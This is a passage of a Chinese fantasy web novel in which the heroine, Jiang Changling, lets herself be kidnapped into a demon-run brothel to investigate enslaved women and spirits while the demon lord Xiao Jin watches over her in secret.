“你笑得真贱啊,不过...这姿色确实能称上倾国倾城,说不定还能当我们那的花魁呢。”
“嗯...但是这妮子是怎么一个人在这街上昏迷的?”
“你管这么多呢,能拿回去交差就行,要不两个都拿了吧。”
“行行行。”
火光骤然离她远去,但是姜长泠的下巴依然被一人捻着。
“嘶...你还看着她想干嘛?”
“没什么,只是这妮子长得太对我胃口了,我馋了哈哈哈。”
“馋?馋了你就适当地玩一玩,反正楼主要验身,别搞坏了就行。”
闻言,姜长泠的心都悬了起来。
秉承着面前的人再动一下她就立马动手的心态准备着。
但面前的人迟迟没有动静,不一会,她的头便被重新安放在地上。
“你不是要玩么?怎么还不动手?”
身旁的人好像是扑通一下跪了下来,声音似是从牙缝中挤出来的:“好痛…啊…好痛…”
“喂,你别装啊,哪里痛啊?”
“浑身。”声音更是颤抖。
“喂,你…你到底怎么了。”另一个人终究是急了起来。
见此状,姜长泠都忍不住睁开一条缝隙窥看这场景。
本是掩面的黑衣人被迫撤下面罩,露出一张平平无奇脸,他这时正跪着,全身发抖着流口水。
另外那人正帮他拍着背。
整个场景看起来荒诞又滑稽。
“你还能不能玩了。”
“不玩了不玩了...赶紧...赶紧回去。”
流口水的人忽然好了,拿起个麻袋便往姜长泠头上套去。
于是乎姜长泠便这么被裹着袋子扛在了肩头上。
路上略显陡峭,姜长泠感觉全身的血液都被汇聚在头顶,十分难受。
就在此间隙,她忽然开始思考那绑匪为何会发颤流口水。
原以为是这绑匪突然恶疾才会导致的。
但如今这么一想,这疾病好似也来的太过凑巧了。
更像是某人在暗中推波助澜。
又像是萧烬的手笔。
不知过了多久,灵力的波动在她周围隐隐泛起。
接着她便被人从肩头上放了下来,改为了拖着地走。
透过麻袋的光线变化,姜长泠判断她方才应当是进了传送阵到了另一处陌生的地方。
她被抗在肩上时,周遭无论怎么看都是黑漆漆的,可自从感受到了灵力涌动被拖着走时,外面连片的辉煌是隔着麻袋都挡不住的耀眼。
丝竹声声远来,仔细听还能听见些欢声笑语。
被人拖着走了好一会终于停下,那人似乎是要把她抗上阶梯。
最后她被丢进了厢房。
麻袋一把被揭开,铺天的光亮向姜长泠照来,她也掐准时机装作自己刚醒的模样睁开眼睛。
映入眼帘的是两男两女,其中有个男的打扮地尤为奇特,胭脂水粉无不缺席,身穿着粉色的薄薄纱裙,精致的模样连旁边站着的女子都要退让三分。
“楼主,这货色不错吧?”
54. 金丝
被称为楼主的妖艳男子应声俯下身仔细端详着姜长泠,表情似是有些疑惑:“这张脸漂亮是漂亮...就是好生熟悉,好像在哪见过。”
旁边站在左边的女子凑过来不屑地哼了一声:“我看众生相便是如此。”
而右边的女子则是质疑:“你确定你没抓错什么贵府小姐?”
“她…她就这么倒在雪地上,怎么可能是贵府小姐,再说了,这穿的衣裳也不像啊。”最有男子气息的人发言了。
姜长泠就这么淡定地仰头看着他们谈话。
“那也是。”右护法嘟囔道。
“嘶…每个来到这的女子不是尖叫便是挣扎,你为何如此淡定?”楼主挑起单边眉,饶有兴趣地看向她。
“事已至此,无论我怎么哭闹也没用了,不如认清现实。”姜长泠从容地站起身拍拍衣裳,“这是哪?你们带我来的目的是什么?”
对此左护法和右护法两两相望,纷纷蹙眉皱鼻。
她们若是面向哭闹的女子或许还会觉得有些意思,可像这种不怕的,她们反倒有些反感起来。
“好一个桀骜女子。”楼主突然鼓起掌来,“不知姑娘芳名?”
“无名无姓。”
姜长泠清冷的锋芒无处可藏,总是不自觉地就表露了出来。
“哟,还是个女乞丐。”身后的男子笑道。
“诶,你倒也不用这么数落人家。”楼主嗔怪了一句,抬眼看着姜长泠丝毫没有想要逃跑的意味,他径直向后退去入座,“你也知道了,我们这做的并非是正经的生意,你若是愿意的话会活得很舒坦,不愿意的话...那也不会太难过。”
“全看你如何选择。”
姜长泠装作思忖的模样将这间厢房的布局都环顾了一遍。
发现这间厢房与她在张福记忆中看见的差别甚大。
但据她来时的路上看到的灯火连篇,外面还指不定有多少楼房。
“愿意的话是要做什么?”姜长泠问着,视线便落在了左右护法那若隐若现的肩颈上的花纹上。
那花纹不像是刺青,更像是绣上去的,还散发着微微的光芒。
“当然是尽自己所能去讨客人欢心,都是些你情我愿的事。”楼主翘起二郎腿。
姜长泠心领神会地点头,眸色黯淡:“我从小便无依无靠,如若能在楼主手底下闯出一点活着的滋味倒也不错。”
楼主玩味地盯着她,罕见地从眼里露出欲/色,扬了扬下巴:“你性格向来如此么,说话跟个冰山美人似的?”
“我说话向来如此。”姜长泠偏过头去。
“可我见你这谈吐和扮相并不像是无家可归之人呐?”楼主咧嘴笑道。
幸好姜长泠早就编好了说辞:“弃养我的地方,那不算家。”
这话一出,她突然有些恍惚,明明是她编造的腹稿,出口之时才发现这好像是她的经历。
“有趣。”楼主越来越欣赏她,“离家出走的叛逆姑娘更适合留在这里了。”
“所以你们这里到底是什么地方?”
“这里名为连庆阁,再多的,你就不必知晓了。”
名字虽为连庆阁,但这里的人都称他为楼主,看来这楼主很可能还不是这里最大的管事人。
左护法倒是有些等不及了:“你就说吧,你是乐意还是不乐意?”
这房屋里本就有四人,左右护法和楼主身上的妖息虽然很淡,但姜长泠能十分笃定面前这三人都是妖怪所化,若是真的打起来恐怕这个场面不是她能控制的。
还是先假意顺从他们的意愿为佳。
她迟疑了会道:“我愿意。”
“哼!无聊。”右护法见到被拐来都那么乖巧的姑娘顿时没了兴趣,扭晃着腰姿便推门而出。
而左护法仍是有些不死心地呆在厢房中死死盯着她。
“既然你愿意的话,那就先来验个身吧,毕竟女子的贞洁在这可是值千金重的,尤其是你这种...”楼主站起身来走近她,不由地用一根手指轻抬起了她的下巴,“尤物。”
姜长泠盯着他那张不男不女的脸硬是忍住了厌恶偏头的冲动,但还是不可避免地皱了下眉:“如若我不想验身呢?”
楼主放下手轻嗤了下:“在这连庆阁中最重要的便是要丢掉尊严,如果你连这个面子都撂不下的话,我很难相信你跟别人不一样。”
“...我不想被验身。”姜长泠语气依旧漠然,“我只是需要适应,我可以给你绣上玄灵金丝为誓,只需几天,我会比所有人的表现都要出色。”
这些话从一个毫无波澜的人的口中说出,楼主竟然觉得有些许快感。
是挑起了楼主为男人本能的兴趣。
而另一个扛她来的人也是更起劲了:“可以啊楼主,这妮子够劲够野。”
“嘁,只会装清高的婊子。”左护法也看不下去跺着脚便离开了厢房。
于是厢房中便只剩下了他们三个。
“有点意思,你还知道玄灵金丝?”楼主问道。
姜长泠则是淡定道:“之前有在书中看见过一二,方才那二位女子肩上绣着的花纹我都看到了。”
“看书...”楼主起了些许疑心,“没想到你还是个文坛闺秀。”
“没办法,以前的家中有长辈担任捉妖师,不然我也不会懂这些。”姜长泠道。
话音落下,后面的男子忽然就变了脸色,就连楼主的眸中也有细微的颤动慌乱,不过转瞬即逝。
“怎么了?”姜长泠察觉到了他们情绪的异样。
“没什么。”楼主又镇定了回来,“喜欢什么花?”
姜长泠对花并没有过多的执着,只默默撸起衣袖翻转至手腕那面:“楼主喜欢就好。”
“你可要想好了,这绣金丝的过程,可不是谁都能熬得住的。”楼主的手掌在虚空中一摊,一根贯穿着金丝线的细针便静静地躺在了他的掌心之上。
“嗯,我想好了。”
姜长泠嘴上虽是这么说,但心里还是顾及到另一头萧烬的感受。
她默默想也不知她这么做会不会惹他生气。
若是这一举动惹怒萧烬,她也只好迅
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速明牌,做好盲冲直撞的准备。
楼主没说话,只娇俏地拿起手中的金针试探着往她的肌肤扎去,就快要触碰到时,他忽然抬头笑道:“手腕的皮太薄了,我都怕绣穿,姑娘难道就不怕?”
姜长泠浅淡的眼眸中带着点居高不下,又有着些许柔弱朦胧:“脆弱的地方任凭楼主摆布,这还不能表现出我的一片赤诚心意么?”
这模样看得楼主的心跳都漏了半拍。
“你倒是会说话。”楼主托着她的手,还是扎了下去。
尖锐的刺痛从她手腕中传来,连带着牵扯的揪心之感。
姜长泠的气息都颤了两颤。
楼主绣了两针,便感觉到姜长泠的疼意,他又停了下来将那针线扯断打了个结。
“这是何意?”姜长泠垂眸问道。
她的手腕处就这么简简单单地被缝上了两条线。
“其实这金丝也无需绣如此复杂,平常的话只需要一道线足以,这些恐怕你是在书上没看见过吧。”楼主对着她笑了笑。
姜长泠收回手腕:“多谢楼主。”
“你,带着她去殷红楼熟悉熟悉规矩,让凤姐好好培养她,日后或许是个能成为花魁的料子。”楼主侧头对她身后的男人道。
“是。”男人刚想引着姜长泠往外走去,又停下了脚步,“等会楼主,这妮子...无名无姓,您是不是得看着起一个?”
楼主本是背着身的,闻言又旋过身来:“嗯...不如就叫...雪花如何?”
这时的楼主又忽然变换了一身装扮,这下穿得倒是像个正常男人了。
“楼主喜欢就好。”姜长泠道。
楼主眷恋地看了姜长泠几眼便挥挥手让那男人把姜长泠带走了去。
姜长泠跟在男人身后十分安分守己,只是视线不断游走在这陌生的连庆阁之中。
本以为这连庆阁再大也不会大哪里去,但事实证明这里还是超出了她的想象。
从那厢房的拐角走出,映入眼帘的便有三座灯火连绵不绝的大楼,从房屋的外设装潢来看,在这风尘之地的客人应该都非富即贵。
三座楼分别都有五层之高,从外面看,三层之上的外围是设有围栏,围栏之上是卷帘,从下面看上去还能看见有隐隐人影映在帘子上。
站这附近还能听见一丝声乐响。
而再纵观这整个连庆阁,周边用着石墙围起,但墙体不高,若是腿脚稍微方便些的亦可以翻墙而出。
再看向大门口,更夸张了。
活活像是什么府门的入口一般敞得正开,石墙还颇有设计地做了牌坊。
姜长泠很难想象这是一个什么地方,但她很确定的是这处不仅是荒郊野岭还下了压制鬼魂的封印。
这块的布局倒是和张福记忆中看到的不差,但终究是个不一样的地方。
难不成这里被翻新过?
怀揣着满肚子的疑惑,男人把她带到了那三座楼后面的楼房。
这三座楼与最后的这座楼中间也有着一面石墙抵挡,刚好穿过一个石拱门便到了。
55. 雪花
这座楼倒是显得要冷清上许多,但姜长泠进来时还看到有七八个穿着单薄的女子头上顶着一个瓷白的碗就这么静静地呆在这院子之中。
这可是细雪飘飞的深夜隆冬季节。
她不由地皱了下眉。
而站在这群女子开外,装扮成熟老练的管教姑姑手里正拿着一根藤条,看见有来人靠近,视线便向姜长泠看去:“哟,又来新人了啊?”
“嗯。”男人点了下头,又对姜长泠介绍道:“这里名为殷红楼,是培养你接客本事的地方,这位是这的管事凤姐,你跟着她就好了。”
就在这时,队列中的一名女子也好奇地向投去目光,可不料就是这一看,那头顶上的瓷碗就这么滑落下来。
好在现在地上有雪垫着,那碗并未碎。
女子立马慌了神。
姜长泠瞥了那女子一眼随即看向那管事的凤姐,看见凤姐听到动静正想转头看去,她低眉立马开了口:“小女艺名雪花,见过凤姐。”
那队列中的女子也算是个会瞧眼色行事的,赶忙趁着姜长泠说话的间隙捡起了摔在雪地上的瓷碗一气呵成地放回头顶。
凤姐果然被她吸引住:“哟,难得见到一个听话的,还如此有礼貌。”
“那当然,楼主还说这妮子日后要好好培养,毕竟是楼主喜欢的货色。”男人得意地扬扬头示意凤姐,也没心思去管凤姐手下管教的女子,“没什么事交代我就先走了啊。”
“嗯。”凤姐应了一声,男人转身就离开了殷红楼。
这会姜长泠才抬起头来,假意以看凤姐为由用着余光去观测了她身后站着的女子。
共七名女子,全身上下裸露出的肌肤倒是没见到有什么伤口,但重点还是那脖颈处。
有着熟悉的束灵烙印。
都是些妖息弱得不能再弱的妖...
“你这品相确实不错,难怪会让楼主看上。”凤姐正端详着她的脸。
“多谢凤姐赏识。”姜长泠的表情依旧不显山水。
“冬至。”凤姐叫了一声。
队列中便有女子回道:“在。”
“再去拿一个瓷碗过来。”
“是。”
名为冬至的女子正兴奋地要把头顶的碗取下,可她刚把手扶上碗沿那凤姐呵斥的声音便传了过来:“不许拿下,顶着去。”
闻言,她眼里闪烁着光又熄灭了下来,只好悻悻地把手放下一小步一小步地往前走着。
“在这连庆阁中女子最需练好的便是体态礼仪,若是连这最基本的都做不好还如何侍奉客人。”凤姐的视线从冬至的背影转移到姜长泠身上。
这番话让姜长泠听了只觉得恶心,本就不属于连庆阁中的人,强行被掳拐进来的人凭什么要听你的话做事?
还是这般上不了台面的事。
她怒色难掩,只好维持冷脸才不会容易露馅:“凤姐教导的是,雪花受教。”
“你有一副好皮囊,若是你肯下功夫学,那花魁之位说不准与你有缘。”凤姐对姜长泠的表现似是很满意。
姜长泠只是低了低头并未回话。
在原地等了一会,冬至便从那殷红楼里迈着细碎的小步子慢慢地挪了过来,将那瓷白的碗递给了姜长泠。
“看来你今日是刚来的份上,我不会对你太严苛,允你有三次掉碗的机会。”凤姐示意她将碗顶上。
姜长泠接过瓷碗站进队列之中,无奈地把碗置于头顶之上。
她的平衡感向来很好,所以这些对她来说还不算什么。
不过让她不爽的是连庆阁的欺“人”太甚。
跟她并排站着的都是些妖,一些灵力散尽与凡人无二异的妖。
这连庆阁不仅是拐人还拐妖。
这里到底是个什么样的炼狱?
不知过了多久,身旁的人逐渐传来吸溜鼻涕的声音。
凤姐穿的袄子倒是厚实,在这雪地中来回踱步了几下,对着她们说:“好了,今天就先练到这里,冬至,你来带新来的雪花到厢房里头去,顺带跟她讲讲这里的规矩。”
“是。”
一瞬间,所有人都松懈下来将头顶的碗拿下,视线纷纷朝姜长泠看来,约莫是知道了来了这么一号人之后便匆匆地跑回了殷红楼里去。
剩下冬至还在她身侧。
而凤姐则是往殷红楼的外面走去。
冬至看起来年纪不大,像是年芳十七左右的花季少女,整个人看起来多少有些古灵精怪的俏皮感。
她看着凤姐的身影走远,悄悄附耳对姜长泠道:“你是怎么来这里的?”
说起这件事,姜长泠记得明明还有一名女子是跟她一起被带走的,可如今在这里却不见了这人的影踪,也不知去了哪里。
“我...我是离家出走后晕在街上被带过来的。”姜长泠道。
听到这冬至也不惊讶,将冻红的手连带着瓷碗藏进衣袖里向前走去:“原来如此,那你...”
她说着又转头打量了下姜长泠的全身:“你是自愿的?”
姜长泠一时没听懂冬至这话里头的含义:“算是吧,怎么了?”
闻言,冬至抿了抿唇,情绪颇低落了下去后又笑了起来:“没什么,就是问问。”
两人步入殷红楼,入门时便看见这里搭建了一方戏台子,而两边都满是厢房,再顺延着两侧的阶梯往上瞧去,大概也是五层楼之高,而透过栏杆的缝隙中还能看见不少女子正在甬道上往来,时不时有一两人好奇地看向她。
“上面都是些比我们来的早的姐姐住的地方,我们住的地方在一楼。”冬至介绍了一番。
姜长泠点点头,鸡皮疙瘩还在不断泛起。
这块地方远远比她想象中的可怕。
冬至领着她进了其中一间厢房。
厢房中地方不大,是一块大通铺,看上去能睡四个人,而在厢房中的两人正坐在梳妆台前梳头,听见有动静也只是凉凉地扫了姜长泠一眼便继续梳头了。
这里面地方小,要比外头暖上不少。
“我们在这每天学的便是礼仪姿态,看书识字,听说往后了便会教我们琴棋书画。”冬至把瓷碗放进衣柜。
姜长泠皆注意到了她们脖颈间的束灵烙印,还是忍不住问道:“你们是怎么来到这里的?”
“我啊,我是被抓来的。”冬至苦笑了下,
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“这里的人并没有给反驳的机会,后来我也想通了便适应了。”
剩下两个梳头的并没有回答她。
“与其在外面冻死,好像来这暂时避避风也不错。”
不知为何,冬至虽是笑着的,但看得出来很是勉强。
“我给你介绍一下,这位名叫腊月,这位呢叫梅枝。”冬至指了指正在梳妆的两位。
“我也是被抓来的。”腊月忽然出了声,眼里似乎还有些不服气,“不想来又能如何?还不是被这群禽兽屈打成招。”
冬至却立马将手指竖起在嘴边:“嘘,小心隔墙有耳。”
这熟悉的计谋,姜长泠忽然感觉有凉意渗透到她全身,从头到脚那种,她犹豫了会还是问道:“莫非...你们都是被他们抓来的,然后先是被烙下束灵烙印然后绣上玄灵金丝操控的?”
此话一出,厢房中安静地十分可怕。
就连看似最冷漠不爱说话的梅枝也停下手中的动作看向她。
众人呼吸都凝滞住,还是冬至能扛事打破了这诡谲的氛围:“你不是凡人么,怎么会知道这么多?”
姜长泠攒成拳头的手都冒出了冷汗。
这个做法,她何其了解,这不正是那富商钱恒亮和潘秉坤惯用的手段吗?
钱恒亮一死,玄灵金丝跟着断开,手底下那群被解封了束灵烙印的妖都疯了去报复祸世。
就是那几日,她的担忧堆地比山还高,生怕自己挽救不了那动荡的局面。
“我...”姜长泠喉头苦涩,不免咽了咽,“家中长辈是捉妖师,略懂过一二。”
“哈?令尊令堂若是捉妖师,你也不该是个凡人才对呀。”冬至又道。
姜长泠思索了下干脆道:“我也不太清楚。”
腊月和梅枝又将头扭了回去重新拿起梳子。
“好吧,我们这里虽然人和妖都能见着,但大多数都是些遗孤和平民家的孩子。”冬至耸耸肩,“像是雪花你这样的,倒是罕见。”
姜长泠微微点了头,问道:“这里晚上会有看管你们么?譬如派人盯着你们不让你们出逃之类的人物。”
“当然有,光是殷红楼我们都出不去。”冬至觉累便跌坐在铺沿上,随后她才觉得有些不对劲,继续问道:“不对,你问这个干嘛?”
“没什么,我就是好奇。”姜长泠微笑了下。
“哦,对了,我带你去浴堂沐浴吧,晚了就要就寝了,会有人来查的。”于是冬至随手在铺上抓了一张布巾站起身来推搡着姜长泠出门。
“多谢照拂。”姜长泠接过布巾便一路跟着冬至去到浴堂。
冬至带她绕到了戏台后排列的大门,对她道:“呐,这里便是浴堂,你洗好自己回来吧。”
“好。”姜长泠点头,推门而入。
她着实没想到自己会这么简陋狼狈地拿着一条布巾就沐浴了。
大片热腾腾的雾气飘拂而来。
忽隐忽现中,她看见浴池之中正坐着不少女子。
其实并非是她有意去看,只是这画面太过有冲击感,错不及防地闯入她视线之中。
这些女子身上都布满了大大小小的伤痕。
56. 怨气
准确来说应该说是布满了红痕和淤青。
那几个身姿姣好的女子忽而感受到一束直勾勾的目光不免转头皱着眉朝她瞪来。
姜长泠才意识到自己失态连忙鞠了下躬挪开视线走了。
她秉持着来都来了的心态,还是在这浴池中寻了个角落独自沐浴了一番。
出来时神清气爽的。
*
夜里,四人都相继躺在了大通铺上,还好正躺时不至于挨到隔壁人的手肘。
“雪花,你因何要离家出走?”冬至裹紧了棉被,甚至盖过了嘴,声音传出来闷闷的。
姜长泠有灵流护体倒不觉得太冷,两只手都搭在了被子外:“因为...我爹不想养我了。”
“啊?那你便死缠烂打留下呀,何必要在淮庆城宵禁的时候出门来到这里呢。”冬至觉得遗憾,忽然又觉得姜长泠以后不知道要面临什么,她又试探问道:“你知道待在这里的下场是什么吗?”
姜长泠想了想摇摇头假装不知:“会是什么下场?”
“终身在这块暗无天日的地方侍奉客人,卖艺陪酒甚至卖身。”睡在靠门口那块的腊月突然开口。
还带着些许怒意。
“嗯,听起来是不是挺可怕的?”冬至像个小孩一般总想说点什么震慑住姜长泠。
只可惜姜长泠此行便是来解救她们,就算是再大的风浪她也会撑过去。
“是挺可怕。”姜长泠的语气很冷静,还夹杂了一点抚慰的意味,“不过你们就没想到过有朝一日会逃出这个地方吗?”
睡在她旁边的梅枝冷哼了声:“这就憋不住想跑了?楼主还说你有可能会成为花魁呢。”
冬至听了继而补充道:“比我们要早进来的姐姐都还呆在这里呢,我们又怎可有逃出的机会。”
“再者说,在这里待着的人和妖哪个没有被绣上那条掌控性命的金丝呢...”
“想跑可以,除非是躺着出去的。”梅枝一副看破红尘的语气,“之前我就听这待得久的人说,确实有人试着跑出去了,但没回来过。”
“没回来不就代表她跑出去了吗?”冬至问道。
梅枝笑她天真:“你觉得绣上这条夺命金丝线你能跑到哪里去?总之,没回来就是死了,死哪都不知道。”
冬至倒吸了一口凉气继而又再把被子拉上了一点。
姜长泠觉得故事也听得差不多了,催道:“要不都先睡觉吧,明日还得练习呢。”
“也是,先睡吧。”
话音落下,便是为黑夜落幕做了最后的陈述。
只有姜长泠在黑暗中睁着眼睛,忍住困意等着身边的人熟睡。
外面风雪声悄悄呼啸,棉被里是宜人的温度,她想要保持清醒只能过一会就翻身。
直到厢房内没有人再有动静,纷纷响起了匀称的呼吸音时,姜长泠终于掀开被窝,蹑手蹑脚地下了床。
她走到门前准备拉开,这扇门不可避免地发出了吱呀的响声,她呼吸停滞,猛然听见从黑暗中一个迷蒙的声音传来:“去哪...”
姜长泠小声地答了一句:“起夜。”
她侧头看向冬至,眼看着她支起的头抬起又马上坠了下去。
看来还是太困了。
这下姜长泠推开门往外走去。
在这种环境中,她不敢冒然点亮符纸,她往漆黑不见底的戏台看了一眼,随即摸着黑抬步向反方向的大门走去。
停留在大门前,姜长泠把手搭在门处,试探着推动了门。
门轻轻地晃动着向外移去。
姜长泠不过刚探出去了半个身子,两侧守着的黑影便立马向她的方向靠拢了一步。
“谁?出来干嘛的?”一个穿着夜行衣的守卫倏然拦在她面前。
她装作惊吓,低头问道:“小女无意惊扰,只是想寻地方解手,莫非茅厕不在外面?”
“里面有夜壶,夜晚不许外出。”守卫不耐烦道。
“抱歉。”姜长泠佯装知错的模样着要往后退了一步,下一瞬手中便蓄起了灵力,莹蓝色的光乍现,在场的两个守卫压根都没反应过来。
毕竟他们看守了殷红楼如此久,从来没有感受到过灵力的撼动。
这一见,两人都傻了眼。
罡风迎来,姜长泠身手快如闪电,拿出了捉妖的本事,仅仅甩出一条缚妖绳就在转眼间将这两人给捆了起来。
“你!你!”守卫只能像个草包般无能发怒。
“嘘。”姜长泠也着实没想到这两人那么好对付,迅速在袖中摸出了两张镇妖符给他们额头各来了一张。
虽说这些符咒是专门为捉妖而设的,但对人同样有奇效,只不过效果要比妖差些。
要是对毫无灵根的凡人用,那效果不比妖差多少。
于是乎,这两人就这么被缚妖绳捆着僵在原地,像是风干过后的尸体。
*
而这一幕也尽数收入了萧烬的眼中。
两人丝毫不加以掩饰地站在那连庆阁的围墙之上,俯瞰着风景,里面的人都顾着寻欢作乐,愣是没人注意他们。
符月炳抱着手臂感觉很纳闷,问道:“这块地方也就是公子动动手几下能清场的事情,真的有必要一直盯着她探进内部么?”
萧烬目光沉静如水,淡然开口:“像这种地方应当不止一处,贸然出手会打草惊蛇,容易截断她的思路。”
“嗯...听公子话里的意思是真的想帮她?”符月炳转过头来盯着他。
其实他向来知道他家魔君虽然手段残暴,性格阴晴不定,但都是面对该死之人的。
绝大多数时候还是善良的。
像遇到姜长泠这样的人和事,符月炳也是第一次见,固然不知萧烬是如何看待这女子的行径的。
“能帮便帮吧。”萧烬说话间带着风轻云淡,“有时候觉得,世间上苦难太多了,多些热心善良的人总归是好的。”
符月炳顿时有些狐疑,这还是他认识的魔君吗?
不过他转念回想起萧烬的一生,从他儿时的遭遇开始...明明所有的铺垫都像是在为他成为暴君埋下的伏笔,可萧烬却是像是逆行了天意,反而...活得更像他自己。
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他端详着身旁人的侧脸,分明的轮廓都透露着文绉绉的气息。
很难想象他有时候会冷脸,光靠威压便能压死人的那种,每次还都散发着不怒自威的气场。
“那公子接下来要怎么帮?”符月炳好奇问道。
萧烬眺望至殷红楼围墙后那片深不见底的地方,颇有深意笑道:“看她所需,配合她。”
*
姜长泠处理完这两个守卫后便一路顺着墙体绕到了殷红楼的后面。
之所以她在深夜中冒着风险外出,是因为她从踏入这殷红楼的院子时便觉得这块地方隐隐藏着怨气。
这是一种她从未有过的感觉。
就像是这块地方本应该飘着数个冤魂,可这院子中却见不到一只鬼影。
走到楼后,远看时并未发现与其他围墙不同的端倪。
一旦走近了看便能看见灵力编织的屏障若隐若现,直直覆盖了整面墙体。
姜长泠还没触碰,仅仅是靠近了呼吸都跟着变得沉重起来,似是心脏上放了个秤砣,不断让人想往下坠去。
看来这面墙后的东西不简单。
但想要探究这堵墙后的玄机还不是时候,毕竟这屏障破除后很可能有通信传音的法效。
就像是桐阳县那晚的法阵一样。
无法,姜长泠只好顺着这股莫名的压力蹲下身去,最后整个人都俯倒在地上,耳朵贴着地面。
混乱无序的悲泣,尖叫,嘶吼,咒骂一阵阵地传进她耳朵。
“连庆阁又要来人啦哈哈哈哈!”
“我定要这连庆阁的所有人陪葬!”
“啊啊啊!放我出去!我已经死了!我已经死了!”
姜长泠微微瞪大了眼睛,万万没想到这地底下藏着那么多亡魂,且还都是女子。
莫非这墙后都是连庆阁处死的人?不仅是含恨而死还被封印在了一隅之地?
难怪这里怨气如此之重。
封印的阵法在墙后,姜长泠一时半会也没了头绪只好先从地上站起来拍拍衣裳。
她再仰头看向这片屏障,思忖着,如若她将这屏障破开,把里面的冤魂全部释放出来会怎样?
但那估计又是一个不可控的场面...
差不多时,她返回了殷红楼的门前。
毕竟殷红楼外正是纸醉金迷的靡乱夜宵,她也只好先乖乖回去睡觉,待明日再择好时机探入除殷红楼外的地方。
她径直略过两个守卫,顺势把那缚妖绳给收了回来,又将那两张镇妖符撕下关上门,整套动作行云流水。
两个守卫醒过来后连北都找不到。
纷纷质问对方自己刚刚是不是被偷袭了?
茫然的两人又连忙推开了门向里面看去,整个甬道又空无一人,仿佛刚才出手的女子根本不存在。
当然,姜长泠这会已经悄悄摸黑跑到了厢房之中。
而对于这两个守卫的处理,她也做了后手的准备,若是这两个守卫将她所作所上报,她也只会一口咬死自己是新来的身份,说不定还能借此机会顺水推舟去到别的地方。
57. 碾花
一朝天明,门外传来铃铛啷啷的声音。
姜长泠这晚都没睡踏实,率先睁开眼睛醒了过来。
身旁的人也继而开始蠢蠢欲动。
没想到在深夜困得不行的冬至竟是第一个坐起身的。
她晃了晃两边的人,声音迷离:“该醒醒了各位...”
*
等她们一齐洗完漱便又迎见了昨日的管事凤姐。
“今日依旧是先顶碗半个时辰。”凤姐依旧手持着藤条,穿着棉服站在庭院之中。
正当所有人都将碗举上头顶时,石拱门的入口处便径直走来一名黑衣男子。
“谁是雪花?”
没有任何的前缀语气,进来便直奔主题。
姜长泠眉心跳了下,预感应当是与昨晚上的事情有关。
话毕,周围的人纷纷看向她。
“找她什么事?”这会凤姐颇有着管事的风范,倒是转过身不急不慢地问他。
“楼主有事找她。”黑衣人干脆道。
凤姐沉默了片刻,转而看向了人群中的姜长泠:“去吧。”
姜长泠压根没想到这事居然那么快上升到了楼主耳边。
这件事情超乎了她的预期,她的动作都不免慢了些。
她向凤姐颔首后便跟着黑衣人走去。
她只走到一半,背后的人声都纷纷人忍不住开始躁动起来。
吵吵嚷嚷的什么也听不清。
不过应当在议论她被楼主召见这回事。
引领她的这名黑衣人倒是没有昨日带她来殷红楼的那个有人情味,语气都是冷冰冰的。
他突然指着这三座楼开始介绍起来:“这三座楼分别名为晓花楼,探花楼,碾花楼。”
这么说着时,两个穿着同样花色的襦裙装女子交叠着手势便从碾花楼的大门走来。
“到这你跟着她们走就行了。”黑衣人朝那两名女子扬了扬下巴。
姜长泠总感觉这人话里有话,但也不知该如何开口去问,也只好按照他的指示照做了。
“您便是雪花小姐吧,请随我们来。”其中一名抬起了头看她,脸上带着温和的笑意。
敢情这两人是在碾花楼当的丫鬟。
这楼主是要多大阵仗,一个人带她去见还不够,还要多两个丫鬟?
姜长泠点点头继而跟上这两个丫鬟的脚步。
方向是在往碾花楼走去。
这行为太过诡异,她忍不住问道:“请问这楼主可是在这碾花楼之中?”
丫鬟理所当然道:“是的。”
接着又没了下文。
她又问道:“我们现在可是去见楼主?”
丫鬟面色不改道:“是的,不过在此之前我们会先带雪花小姐去沐浴。”
沐浴?
这其中肯定有诈。
“嗯。”姜长泠为了稳住“雪花”的性子也硬是应了下来。
两个丫鬟带着她进入碾花楼,刚/穿过大门,浓烈的胭脂水粉味扑鼻而来,这里的布局与殷红楼无二异,都是搭了个偌大的戏台子在正中央。
要是说和殷红楼不一样的地方,那便是装潢。
碾花楼中的戏台子一看便是精心装饰过的,而殷红楼中的戏台子顶多便是毛坯,丝毫没有加过装饰,灰扑扑一片的。
“雪花小姐,在四楼。”丫鬟见她眼光乱扫不免提醒了她一句。
“好。”姜长泠识趣地收回视线。
可接下来她就发现饶是她不想注意这四周也太难了。
几乎每上一层楼都能听见某些厢房中传来娇滴滴的喘息,这还是在白天,若是在晚上,这碾花楼岂不是...娇声连篇。
光是听着这些靡靡之音,姜长泠耳朵都要红得滴血。
终于行至四楼,远离了那片旖旎之地。
这四楼的布局又与楼下不同。
四楼都是两扇门合并在一块的厢房,显得更格外庄重盛大。
丫鬟领着她进了其中一间厢房。
雾气蒸腾氤氲飘来,入目便是山水墨画的四折屏风。
“雪花小姐,水已经热好了,请沐浴。”
她随着一名丫鬟进了洗浴房,而另一名丫鬟则是在她身后关上门。
“嗯,我自己来便可以了,我并不习惯有人服侍我。”姜长泠装作漠然,语气中透露着不容拒绝的威严。
丫鬟突然有些语噎,却还是低头道:“服侍小姐沐浴是我们的本分,还请小姐接纳。”
两人见姜长泠没说话,互相暗暗递了个眼神,站在门口的那丫鬟立马跪下说:“这是楼主亲自吩咐的,我们也不敢违命啊。”
姜长泠心里明白,这其中有诡。
这会正巧趁着她们两低头的空隙,她以迅雷不及掩耳之势打出两张镇妖符在她们头上。
两个丫鬟彻底石化了。
于是姜长泠绕到屏风后头去探探究竟,起初看到的只有一桶摆满花瓣的热水,谁知,再转眼看向另一边,便看见一件月白透蓝的纱裙极其扎眼地挂在墙上,底下放着双鞋,旁边放着梳妆台。
原来阴谋于此么?
她走近纱裙,拿起衣角摸了摸。
又滑又透,妥妥是风尘女子的服饰。
这楼主找她来,莫非就是想对她图谋不轨?
姜长泠思忖了会,打算真的沐个浴先自身染上这花瓣上的香味再说。
她又折回去,抽出符咒绘了一张简单的结界符便拍在了门上。
囫囵地沐浴后,她将自身穿的外衣褪下,将里衣都束了起来再将那件月白的纱裙穿上。
这样至少保证上半身不会太过单薄。
不过这下半身如何都是要露一截脚踝和小腿出来。
她低头看向那双鞋,暗叹后还是穿了上去。
打扮好后她看向铜镜里的自己。
不免有些陌生。
她脸颊猛然多出两抹红晕,立马移开了视线。
脑海中忽闪过的四个字——成何体统。
这身纱裙似乎在她身上犹如盔甲般重。
她攥紧了手,犹豫着前去撤下门口的结界,打算先独自走到外面打探一圈。
这四楼的门都紧闭着,但要仔细听还是听到有隐约的谈笑声从某间厢房传来。
但这具体是在四楼还是三楼,倒是有些模糊不清了。
